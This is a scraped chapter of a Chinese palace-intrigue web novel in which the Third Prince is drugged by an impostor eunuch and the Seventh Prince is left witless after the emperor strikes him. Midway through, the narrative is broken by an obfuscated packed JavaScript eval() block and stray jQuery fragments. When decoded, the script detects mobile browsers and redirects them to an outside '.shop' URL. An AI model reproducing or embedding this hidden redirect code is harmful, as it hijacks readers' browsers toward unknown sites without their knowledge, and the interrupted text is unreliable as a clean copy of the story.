文趣网 > 其他小说 > 郡主比杀手狠心 > 33. 傻子
    在七皇子刚到北疆不久,三皇子就收到了来人的禀报。

    “禀报三皇子殿下,七皇子动手了。”

    “知道了,你先下去吧。”

    三皇子的嘴角带着得逞的微笑,“终于啊——”

    -

    朝阳公主那边也同时收到了七皇子到达北疆的消息。

    “好戏要开场了。”

    她倒要看看这一局究竟谁才会是最后的赢家呢?

    -

    在三皇子先前安排好的计划之中,在七皇子到达北疆之后,他会先前往北疆。

    待自己到达北疆之后,再让人先给浮安帝去个信。亲自前往北疆捉拿七皇子归京。

    来这一招先斩后奏,事发紧急,纵然是浮安帝也不会过多的怪罪于他。

    自己不但能保全北疆,得到北疆人的信任,还能一举铲除掉七皇子。

    三皇子想得很完美,事情进展的却并不顺利,他还未出宫就被人给拦了下来。

    “殿下,殿下,三皇子殿下!”一名小太监慌慌张张地跑了进来,看到三皇子就直直的跪在了地上。

    小太监还死死拽着三皇子的衣袖,让他无法动弹一步。

    三皇子原来想直接将的太监甩开,谁料那太监直接紧紧地抱住了他的大腿。

    他看那太监是纯妃身边的小才子,到底是怕纯妃有什么事情。

    三皇子满脸不耐地看向小才子,“怎么了,什么事?”

    小才子紧紧抓着三皇子像是抓住了救命稻草,“殿下,娘娘出事啦,求您快去看看啊!”

    三皇子甩开他,“好端端的怎么会出事?”

    眼下正是要紧的关头,三皇子自然不想因为纯妃后宫中争斗的事情坏了自己的正事。

    纯妃在宫中也出不了什么大事,无非就是磕了碰了的,寻个太医看看就行,他又不是太医,寻他做甚。

    也怪他自己,挑唆七皇子去北疆是一步险棋,不能有失,没有提前知会于纯妃一声。

    三皇子转身作势要走,小才子连忙开口,声泪俱下地说:

    “纯妃娘娘突然咳血,太医来看了说恐怕命不久矣呀!”

    小才子重重磕了两个头,“娘娘说她恐怕活不过今夜了,想……想最后见您一面啊!”

    “求殿下去看看娘娘吧!”小才子红着眼,苦苦哀求。

    纯妃的身体一向康健,偏赶上这时候犯了病,怕不是想拖着自己。

    三皇子起了疑,死死盯着小才子,“母妃身体一向好好的,怎会突然犯了如此大的病?”

    小才子一脸的痛心疾首,“哎呦,娘娘的病是旧疾了,已经好多年了。”

    “只是……怕七皇子殿下和公主担心,所以才让我们一直瞒着。”

    小才子一边抹着眼泪,一边哀痛的说道:“如果不是娘娘,实在是熬不下去了,我也是万万不敢来叨唠殿下啊!”

    “知道了,你先回吧,本王晚些时候会去的。”

    三皇子完全没有相信小才子说的话,只想先把小才子打发了,再让人去探探虚实。

    眼下他已经耽搁了一会儿了,不能再够耽搁了,三皇子正准备往台阶下走,猛的两眼一黑。

    等三皇子再度醒来,他已经躺在了自己的床上,眼前的人正是好端端的纯妃。

    小才子正站在纯妃旁担扰地望着他。

    三皇子一下子明白自己中计了,小才子并不是想用纯妃拖住他,是想放松他的警惕。

    方才的小才子是朝阳公主手下的人易容的,三皇子两眼一黑并不是意外。

    “小才子”早在抱住三皇子的大腿的时候,神不知鬼不觉给他下了药。

    三皇子在和他谈话的那一段时间,足够吸入了足量的药粉,晕半个时辰不成问题。

    “小才子”卡好时机让三皇子晕倒,伪造三皇子从台阶上跌落下来的假象。

    可惜三皇子并不知晓“小才子”被人顶替了。

    “母妃,您怎么在这儿?”三皇子看着安然站在纯妃身边的小才子就气不打一处来。

    纯妃不满地皱起眉头,“什么叫我怎么在这?若不是你突然从台阶上跌落下来,本宫又如何会来。”

    这孩子今日是怎么了,好生生的竟然能从台阶上跌落。

    三皇子想起身,结果一动就感觉自己的腿钻心的疼,他的腿这是怎么了?

    他抱着自己打着厚厚的石膏的腿,气得牙痒痒,直指方才报信的小才子,咬牙切齿:

    “若不是母妃未曾管好自己的下人,儿子又怎会沦落到如此这般。”

    “你是说他?”纯妃和小才子都是一脸茫然,“他今日从未离开本宫身边。”

    这下子轮到三皇子蒙了,小才子从未离开自己的母妃身边,那方才给他报信的又是谁?

    纯妃倒是反应了过来,“你的意思是有人假扮本宫身边的人,来害你。”

    “不错。”三皇子知道自己定是被人迫害了,眼下却不是计较这个的时候。

    他不顾自己腿上厚厚的石膏,拖着自己那条骨折了的腿,硬是从床上爬了起来。

    “碰”的一声砸在地上,摔了个狗吃屎。

    “哎,你小心些,伤筋动骨一百天。”纯妃忙伸手去扶三皇子,自己的孩子,到底心疼。

    三皇子痛得发抖,咬紧牙关,“无碍的……母妃,来不及了”

    他要去见父皇,要是等七皇子真的北疆给灭了,就什么也来不及了,最后这一点好处,他一定要捞到。

    “什么来不及了?”纯妃听得是一头雾水。

    三皇子不顾纯妃的阻拦,一瘸一拐地在手下的搀扶下走到御书房的。

    浮安帝很快就处理了完了自己手上的事情,此时也没有什么正事,直接让他进来了。

    浮安帝只宣了他一人,所以三皇子只能一个人进去,他几乎是拖着一条腿,爬到浮安帝跟前的。

    三皇子将事情,言简意赅地跟浮安帝说了一遍,将自己的受伤归咎到了七皇子的身上。

    他说七皇子偷偷养了私兵,想将北疆据为己有,现已经前往北疆有一段时间了。

    自己知道了此事想要告知于浮安帝,被七皇子报复,落得如此下场。

    浮安帝知道了此事震怒不已,先不管三皇子说的是否全是真。

    单论养私兵私自攻打北疆过一桩,都得先去把人给抓回来。

    因此,京吾卫现身于北疆,压送七皇子回京。

    -

    侍卫提灯,在长廊外来回循逻,室内烛火摇曳,映得墙上的影子也跟着晃动。

    浮安帝神情淡漠,“你私自养私兵,无召攻打北疆,该当何罪。”

    七皇子低垂着头,安安静静地跪在浮安帝的跟前,大气也不敢喘。

    小声回话:“儿臣固然有错,但皆因三皇子的挑唆,儿臣是一时昏了头,所以才……”

    七皇子心知自己此时说什么都已经晚了,那三皇子也别想好过。

    浮安帝冷笑一声,觉得七皇子是在胡搅蛮缠,语气更为冷漠

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916564|213346||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    :

    “那你倒是说说,他是如何挑唆你的?”

    七皇子情绪激动,“是他告诉儿臣北疆的,还有他也养了私兵!”

    一时晕了头,忘了他没有丝毫的证据,除了三皇子给他的一千私兵。

    “一千人,三皇子给我的那一千人就是证据。”

    七皇子病急乱投医,全然忘了一千人在昭楚的律法中是完全允许的。

    昭楚并非完全不允许养私兵,只是在人数上有一定的规定。皇子的最多也不能超过一千百人以上,一千人是完全符合规定。

    早在七皇子被捉回来之前,三皇子就拖着那条残腿,恶人先告状了一回。

    三皇子主动把七皇子骗取了自己的私兵这回事主动告知。

    浮安帝看三皇子的腿受了如此严重的伤,强撑着都要禀告此事,心当然有所偏移。

    人总是习惯先入为主,浮安帝也是更相信于自己看到的。

    浮安帝全然没有理会七皇子说的话,实在想发泄又找不到什么东西可以砸,随手甩了一盏茶壶过去。

    茶壶里没有水,直直的摔了七皇子的脑袋上,七皇子哪里敢躲,脑袋被撞得鲜血直流。

    不撞不要紧,这一撞,七皇子竟然直接晕倒在地。

    就算浮安帝要发作他,也要等人醒来才能说。

    -

    太医乌央央的跪了一地,寂静无声。

    “我好开心啊!”

    七皇子从床上一跃而起,赤着脚,满屋子的乱跑,全然不顾围在他房间的一大群人。

    “这是怎么回事?”

    浮安帝眉头皱得像能夹死苍蝇,视线如刀锋扫向一排太医。

    “这……”几名太医围到一起商量了一番,最终得出了一个结论。

    “七皇子受损的位置是在头部,如今来看恐是砸到神经,神经失调所致啊!”

    惠贵妃看着四处乱跑,一会儿上桌,一会儿又学猴子乱叫的七皇子偷偷摸着眼泪。

    浮安帝怒道:“说人话!”

    这上蹿下跳的算哪门子神经失调。

    太医擦了擦额间沁出的汗珠,“七皇子以后恐怕无法有常人的神志,只能……像这样生活了。”

    话说的实在是很委婉了,换句话说七皇子变成傻子了。

    浮安帝仍心存几分怀疑,直到看见七皇子伸手去触碰那房中燃着的蜡烛,被烫得哇哇乱叫,打消了这个疑惑。

    七皇子应是没有这个脑子,装不了这么像。

    原浮安帝还想等七皇子醒了,好好同算一算他犯的帐,但如今人都变成傻子了,和一个傻子能计较些什么?

    说了,七皇子如今能听懂吗?

    七皇子被烫得满房乱跳,一会儿口水直流,一会儿哇哇的啼哭起来。

    连太医给他包扎,都要三四个人死死按着他。

    惠贵妃在一旁替七皇子苦苦求情,只求浮安帝能够留下他一命。

    浮安帝心情很复杂,想了想也罢,终究没有取七皇子的性命,贬他为庶人,任他自生自灭。

    庶人还是有田有房的,惠贵妃偷偷地派人暗中照顾着七皇子。

    不对,现如今只能唤沈明。

    沈明有惠贵妃的暗中照拂,到底也还能活得下去。

    三皇子不信沈明就这样变得痴傻,暗中派人去观察了沈明,发现他不仅痴傻,而且还疯癫。

    三皇子也没在对他做些什么,一介庶人掀不起什么风浪,还是个疯疯癫癫的傻子,同他计较些什么?